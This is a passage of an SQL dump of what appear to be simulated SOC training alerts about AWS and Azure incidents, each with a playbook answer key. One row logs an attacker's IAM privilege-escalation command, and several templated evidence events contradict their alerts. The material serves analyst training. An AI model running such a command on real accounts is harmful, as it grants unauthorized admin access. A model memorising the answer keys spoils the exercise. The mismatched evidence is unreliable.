detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"bucket_access\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user123\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"bucket_name\\\":\\\"sensitive-data-bucket\\\",\\\"access_policy\\\":\\\"public-read\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.403Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"bucket_access\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user123\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"bucket_name\\\":\\\"sensitive-data-bucket\\\",\\\"access_policy\\\":\\\"public-read\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.403Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"bucket_access\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user123\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"bucket_name\\\":\\\"sensitive-data-bucket\\\",\\\"access_policy\\\":\\\"public-read\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.403Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"bucket_access\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user123\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"bucket_name\\\":\\\"sensitive-data-bucket\\\",\\\"access_policy\\\":\\\"public-read\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.403Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"bucket_access\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user123\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"bucket_name\\\":\\\"sensitive-data-bucket\\\",\\\"access_policy\\\":\\\"public-read\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(756, 'Unauthorized IAM Privilege Escalation Attempt', 'critical', 'AWS CloudTrail', 'An IAM user attempted to escalate privileges without authorization, indicating potential account compromise.', 'Credential Attack', 'T1078', 1, 'Closed', 165, '{\"timestamp\":\"2026-01-11T10:20:00Z\",\"event_type\":\"iam_policy_change\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"\",\"username\":\"compromised_user\",\"hostname\":\"iam.amazonaws.com\",\"request_body\":\"\",\"command_line\":\"aws iam put-user-policy --user-name compromised_user --policy-name AdminAccess --policy-document file://admin_policy.json\",\"policy_name\":\"AdminAccess\"}', '2026-01-11 09:24:16', '2026-02-16 17:46:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 560 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"IAM user account detected with unauthorized privilege escalation attempt\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"audit_user_activity\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command to escalate IAM privileges combined with the source IP\'s reputation indicates a compromise attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.404Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:20:00Z\\\",\\\"event_type\\\":\\\"iam_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"iam.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws iam put-user-policy --user-name compromised_user --policy-name AdminAccess --policy-document file://admin_policy.json\\\",\\\"policy_name\\\":\\\"AdminAccess\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.404Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:20:00Z\\\",\\\"event_type\\\":\\\"iam_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"iam.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws iam put-user-policy --user-name compromised_user --policy-name AdminAccess --policy-document file://admin_policy.json\\\",\\\"policy_name\\\":\\\"AdminAccess\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.404Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:20:00Z\\\",\\\"event_type\\\":\\\"iam_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"iam.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws iam put-user-policy --user-name compromised_user --policy-name AdminAccess --policy-document file://admin_policy.json\\\",\\\"policy_name\\\":\\\"AdminAccess\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.404Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:20:00Z\\\",\\\"event_type\\\":\\\"iam_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"iam.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws iam put-user-policy --user-name compromised_user --policy-name AdminAccess --policy-document file://admin_policy.json\\\",\\\"policy_name\\\":\\\"AdminAccess\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.404Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:20:00Z\\\",\\\"event_type\\\":\\\"iam_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"iam.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws iam put-user-policy --user-name compromised_user --policy-name AdminAccess --policy-document file://admin_policy.json\\\",\\\"policy_name\\\":\\\"AdminAccess\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(757, 'Suspicious Lambda Function Execution', 'medium', 'AWS Security Hub', 'A Lambda function executed with unexpected parameters, indicating potential misuse for crypto mining activities.', 'Resource Hijacking', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"lambda_execution\",\"src_ip\":\"192.0.2.44\",\"dst_ip\":\"\",\"username\":\"lambda_user\",\"hostname\":\"lambda.amazonaws.com\",\"request_body\":\"function: crypto_mine\",\"command_line\":\"\"}', '2026-01-10 07:51:32', '2026-02-22 15:13:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.44\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP previously associated with crypto mining pools\"}},{\"id\":\"artifact_2\",\"type\":\"request_body\",\"value\":\"function: crypto_mine\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Unexpected function parameter for crypto mining detected\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"disable_function\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"resource_hijacking\",\"analysis_notes\":\"The execution of a Lambda function for crypto mining suggests resource hijacking, especially given the IP’s history.\"}', 'Beginner', 'EDR', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.405Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:00:00Z\\\",\\\"event_type\\\":\\\"lambda_execution\\\",\\\"src_ip\\\":\\\"192.0.2.44\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"lambda_user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"function: crypto_mine\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.405Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:00:00Z\\\",\\\"event_type\\\":\\\"lambda_execution\\\",\\\"src_ip\\\":\\\"192.0.2.44\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"lambda_user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"function: crypto_mine\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.405Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:00:00Z\\\",\\\"event_type\\\":\\\"lambda_execution\\\",\\\"src_ip\\\":\\\"192.0.2.44\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"lambda_user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"function: crypto_mine\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.405Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:00:00Z\\\",\\\"event_type\\\":\\\"lambda_execution\\\",\\\"src_ip\\\":\\\"192.0.2.44\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"lambda_user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"function: crypto_mine\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.405Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:00:00Z\\\",\\\"event_type\\\":\\\"lambda_execution\\\",\\\"src_ip\\\":\\\"192.0.2.44\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"lambda_user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"function: crypto_mine\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(758, 'False Positive: Unusual Login Attempt from Known Safe VPN', 'low', 'Azure Sentinel', 'A login attempt from a foreign IP was flagged as suspicious, but investigation reveals it is a known safe VPN used by the employee.', 'Credential Attack', 'T1078', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T12:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"\",\"username\":\"employee_vpn_user\",\"hostname\":\"login.microsoftonline.com\",\"request_body\":\"\",\"command_line\":\"\",\"failed_attempts\":3}', '2026-01-10 04:12:19', '2026-02-22 14:50:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":false,\"osint_result\":{\"source\":\"IPQualityScore\",\"verdict\":\"clean\",\"details\":\"IP belongs to a known safe VPN provider used by the employee\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"employee_vpn_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account verified to use this VPN regularly\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is associated with a legitimate VPN used by the employee, explaining the foreign login attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.406Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"employee_vpn_user\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":3}\"},{\"timestamp\":\"2026-02-01T20:31:22.406Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"employee_vpn_user\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":3}\"},{\"timestamp\":\"2026-02-01T20:30:22.406Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"employee_vpn_user\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":3}\"},{\"timestamp\":\"2026-02-01T20:29:22.406Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"employee_vpn_user\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":3}\"},{\"timestamp\":\"2026-02-01T20:28:22.406Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"employee_vpn_user\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":3}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(759, 'AWS S3 Bucket Exposed to Public', 'high', 'AWS GuardDuty', 'An AWS S3 bucket has been detected with public read permissions enabled, potentially exposing sensitive data.', 'Data Exposure', 'T1530', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:45:00Z\",\"event_type\":\"configuration_change\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"N/A\",\"username\":\"admin@example.com\",\"hostname\":\"aws-s3-bucket\",\"request_body\":\"PUT /public-access-block\",\"command_line\":\"N/A\"}', '2026-01-09 23:33:08', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"admin@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Administrative user account for AWS management\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"PUT /public-access-block\",\"is_critical\":true,\"osint_result\":{\"source\":\"AWS Documentation\",\"verdict\":\"suspicious\",\"details\":\"Public access block configuration change detected\"}}],\"expected_actions\":[\"close_alert\",\"audit_configuration\",\"notify_admin\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The S3 bucket was configured with public access, posing a risk of data exposure.\"}', 'Novice', 'DLP', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.407Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin@example.com\\\",\\\"hostname\\\":\\\"aws-s3-bucket\\\",\\\"request_body\\\":\\\"PUT /public-access-block\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.407Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin@example.com\\\",\\\"hostname\\\":\\\"aws-s3-bucket\\\",\\\"request_body\\\":\\\"PUT /public-access-block\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.407Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin@example.com\\\",\\\"hostname\\\":\\\"aws-s3-bucket\\\",\\\"request_body\\\":\\\"PUT /public-access-block\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.407Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin@example.com\\\",\\\"hostname\\\":\\\"aws-s3-bucket\\\",\\\"request_body\\\":\\\"PUT /public-access-block\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.407Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin@example.com\\\",\\\"hostname\\\":\\\"aws-s3-bucket\\\",\\\"request_body\\\":\\\"PUT /public-access-block\\\",\\\"command_line\\\":\\\"N/A\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(760, 'Multiple Failed Login Attempts Detected', 'medium', 'Splunk', 'A foreign IP address has been detected making multiple failed login attempts to the AWS console.', 'Credential Attack', 'T1110', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"N/A\",\"username\":\"j.doe@example.com\",\"hostname\":\"aws-console\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-01-10 09:16:29', '2026-02-17 22:35:23', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"j.doe@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account for AWS console access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is associated with known malicious activity and attempted unauthorized access.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.409Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"j.doe@example.com\\\",\\\"hostname\\\":\\\"aws-console\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.409Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"j.doe@example.com\\\",\\\"hostname\\\":\\\"aws-console\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.409Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"j.doe@example.com\\\",\\\"hostname\\\":\\\"aws-console\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.409Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"j.doe@example.com\\\",\\\"hostname\\\":\\\"aws-console\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.409Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"j.doe@example.com\\\",\\\"hostname\\\":\\\"aws-console\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"N/A\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
